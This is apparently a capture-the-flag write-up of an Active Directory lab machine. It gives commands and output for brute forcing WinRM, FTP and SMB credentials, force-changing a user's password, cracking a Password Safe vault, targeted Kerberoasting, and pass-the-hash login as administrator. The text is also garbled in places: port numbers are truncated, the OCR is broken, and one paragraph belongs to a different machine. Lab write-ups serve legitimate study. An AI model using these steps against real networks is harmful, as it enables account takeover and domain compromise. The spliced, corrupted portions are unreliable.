

Start with a usual Nmap scan nmap -sC -sV 10.10.11.47

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_(root⊗kali)-[~]
# nmap -sC -sV 10.10.11.42 -T5
Warning: 10.10.11.42 giving up on port because retransmission cap hit (2).
Was scan report for administrator.htb (10.10.11.42)
lost is up (0.31s latency).
Hot shown: 920 closed tcp ports (reset), 67 filtered tcp ports (no-response)
     STATE SERVICE
                               Microsoft ftpd
1/tcp open ftp
ftp-syst:
  SYST: Windows NT
3/tcp open domain
                               (generic dns response: SERVFAIL)
 fingerprint-strings:
   DNS-SD-TCP:
     _services
     _dns-sd
     _udp
local
38/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-03-24 15:48:42Z)
135/tcp open msrpc Microsoft Windows RPC
39/tcp open netbios-ssn Microsoft Windows netbios-ssn
89/tcp open ldap
                               Microsoft Windows Active Directory LDAP (Domain: administrator.htb0., Site: Default-First-Site-Name)
45/tcp open microsoft-ds?
64/tcp open kpasswd5?
93/tcp open ncacn_http
                                Microsoft Windows RPC over HTTP 1.0
36/tcp open tcpwrapped
                               Microsoft Windows Active Directory LDAP (Domain: administrator.htb0., Site: Default-First-Site-Name)
268/tcp open ldap
3269/tcp open tcpwrapped
5985/tcp open http
                               Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
_http-title: Not Found
http-server-header: Microsoft-HTTPAPI/2.0
service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/sF-Port53-TCP:V=7.95%I=7%D=3/24%Time=67E11C77%P=x86_64-pc-linux-gnu%r(DNS-
F:SD-TCP,30,"\0\.\0\0\x80\x82\0\x01\0\0\0\0\0\0\t_services\x07_dns-sd\x04
F:\_udp\x05local\0\0\x0c\0\x01");
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows
lost script results:
   date: 2025-03-24T15:49:37
   start_date: N/A
 smb2-security-mode:
     Message signing enabled and required
clock-skew: 7h00m01s
ervice detection performed. Please report any incorrect results at https://nmap.org/submit/ .
map done: 1 IP address (1 host up) scanned in 105.88 seconds
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I found two open ports: Port 22, which we'll use for SSH access, and Port 80, which will help us gain an initial foothold on the machine. Port 80 redirected us to the hostname **linkvortex.htb**, so I'll add it to my /**etc/hosts** file

#nano /etc/hosts

10.10.11.42 administrator.htb

#cat /etc/hosts

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root⊛kali)-[~]

# cat /etc/hosts

127.0.0.1 localhost

127.0.1.1 kali

::1 localhost ip6-localhost ip6-loopback

ff02::2 ip6-allnodes

ff02::2 ip6-allrouters

10.10.11.35 cicada.htb CICADA-DC.cicada.htb

10.10.11.35 cicada.htb CICADA-DC.cicada.htb

192.168.1.66 cryptobank.local

10.10.11.47 linkvortex.htb

10.10.11.47 dev.linkvortex.htb

10.10.11.32 Sightless.htb

10.10.11.32 sqlpad.sightless.htb

10.10.11.42 administrator.htb

192.168.1.55 infinitystones
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Connect with Evil-Winrm and Enumerate Other Users

Connect to the remote shell using the provided username and password.

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Command: evil-winrm -i 10.10.11.42 -u 'Olivia' -p 'ichliebedich'
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Use the net user command to list all users by executing the net user command in the remote machine's PowerShell.

Command: net users

O Force Change Password

Force Change Password of a Benjamin Account Using Linux Command.

Command: net rpc password "benjamin" "Batman@123" -U "administrator.htb"/"michael"%"Password123" -S

"administrator.htb"

Username: Benjamin

Password: Batman@123

O SMB Client Authentication

Verify User Using SMB Client Authentication

Command: smbclient -L administrator.htb -U Benjamin

Command: smbclient //administrator.htb/IPC\$ -U benjamin

List all the Available Shares for the Perticular User.

Command: smbmap -H 10.10.11.42 -u 'benjamin' -p 'Batman@123'

O Winrm Bruteforcing.

Winrm Username and Password Bruteforcing using nxc.

Command: nxc winrm 10.10.11.42 -u /home/kali/Username.txt -p /home/kali/Password.txt --continue-on-success

Valid Credentials

User 1: administrator.htb\olivia:ichliebedich (Pwn3d!)

User 2: administrator.htb\michael:Password123 (Pwn3d!)

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-p /home/kali/Password.txt --continue-on-success
[*] Windows Server 2022 Build 20348 (name:DC) (domain:administrator.
   nxc winrm 10.10.11.42 -u /home/kali/Username.txt
usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has been moved to cry
tography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from this module in 48.0.0.
 arc4 = algorithms.ARC4(self._key)
INRM 10.10.11.42 5985 DC
                                                            [-] administrator.htb\Administrator:ichliebedich
usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has been moved to cry
tography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from this module in 48.0.0.
 arc4 = algorithms.ARC4(self._key)
            10.10.11.42
                                                            [-] administrator.htb\Guest:ichliebedich
usr/lib/python3/dist-packages/spnego/ ntlm raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has been moved to cry
otography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from this module in 48.0.0.
[-] administrator.htb\krbtgt:ichliebedich
usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has been moved to cry
tography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from this module in 48.0.0.
arc4 = algorithms.ARC4(self._key)
                                                           [+] administrator.htb\olivia:ichliebedich (Pwn3d!)
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tography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from this module in 48.0.0.
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OFTP Bruteforcing.

FTP Username and Password Bruteforcing using nxc.

Command: nxc ftp 10.10.11.42 -u /home/kali/Username.txt -p /home/kali/Password.txt --continue-on-success

Valid Credentials:

User: administrator.htb\benjamin:Batman@123

Logging in with FTP and download the .psafe3 file.

Command: ftp benjamin@10.10.11.42 Command: get Backup.psafe3

O Decrypt Backup.psafe3 with Hashcat to get master password..

Decrypt the hash that we have downloaded from the FTP server using Hashcat.

Command: hashcat -m 5200 -a 0 Backup.psafe3 /usr/share/wordlists/rockyou.txt

Master Password: tekieromucho

Using Master Password Download or Crack password from Password Safe:



Download Psafer file view and user the master password to view the Psafe file there you have find some users credentials.

Alexander Smith:

Username: alexander

Password: UrkIbagoxMyUGw0 xxx B0AXSea4Sw

Emily Rodriguez:

Username: Emily

Password: UXLCI5iETUsIBo xxx QFKoHjXmb

Emma Johnson:

Username: emma

Password: WwANQWnmJnGV07 xxx bMS7FMAbjNur



O FTP Bruteforcing.

SMB Username and Password Bruteforcing using nxc to get valid credential from the above users that we have enumerated.

Command: nxc smb 10.10.11.42 -u /home/kali/Username.txt -p /home/kali/Password.txt --continue-on-success

Valid Credentials

Username: Emily

Password: UXLCI5iETUs_xxx_VTj8yQFKoHjXmb

O Evil-WinRM Access

Use Evil-WinRM to connect to the machine as emily and get a user flag.

Command: evil-winrm -i 10.10.11.42 -u 'emily' -p 'UXLCI5iETUs_xxx_VTj8yQFKoHjXmb'

User Flag: 81adf62c90e62 xxx 370dcf42d89f198

O TargetedKerberoast Attack

Before startig we need to Synchronize administrator.htb NTP.

Command: apt install ntpdate

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The following packages were automatically installed and are no longer required:
cpdb-backend-cups libcpdb2t64 libcupsfilters2-common libpoppler-cpp1 libzip4t64 perl-modules-5.38
libcpdb-frontend2t64 libcupsfilters2 libperl5.38t64 libqpdf29t64 linux-image-6.8.11-amd64
Use 'sudo apt autoremove' to remove them.

Installing:
ntpdate

Installing dependencies:
ntpsec-ntpdate ntpsec-ntpdig

Summary:
Upgrading: 0, Installing: 3, Removing: 0, Not Upgrading: 3
Download size: 85.9 kB
Space needed: 253 kB / 48.9 GB available

Continue? [Y/n] y
Get:1 http://http.kali.org/kali kali-rolling/main amd64 ntpsec-ntpdig amd64 1.2.3+dfsg1-3 [32.8 kB]
Get:3 http://http.kali.org/kali kali-rolling/main amd64 ntpdate all 1:4.2.8p15+dfsg-2~1.2.3+dfsg1-3 [23.1 kB]
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NTP Update

Command: sudo ntpdate administrator.htb

Perform a TargetedKerberoast Attack to get a Administrators TGT Token.

Command: python3 targetedKerberoast.py -v -d 'administrator.htb' -u 'emily' -p 'UXLCI5iETUsIBo_xxx_yQFKoHjXmb'

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[*] Fetching usernames from Active Directory with LDAP

[VERBOSE] SPN added successfully for (ethan)

[*] Printing hash for (ethan)

[*] Frinting hash for (ethan)

[*] Printing hash for
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O Crack TGT Hash

Cracking TGT Hash using Hashcat.

Command: hashcat -m 13100 -a 0 hash.txt /usr/share/wordlists/rockyou.txt

O Evil-WinRM Access

Use Evil-WinRM to connect to the machine as administrator and get a root flag.

Command: evil-winrm -i 10.10.11.42 -u 'administrator' -H '3dc553ce4b9fd2_xxx_e098d2d2fd2e'

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(root@ kali)-[~/Downloads]
# evil-winrm -i 10.10.11.42 -u administrator -H 3dc553ce4b9fd20bd016e098d2d2fd2e

Evil-WinRM shell v3.7

Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> []
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*Evil-WinRM* PS C:\Users\Administrator\cd Desktop

birectory: C:\Users\Administrator\Desktop

Mode LastWriteTime Length Name

-ar--- 3/23/2025 5:19 AM 34 root.txt

*Evil-WinRM* PS C:\Users\Administrator\Desktop>
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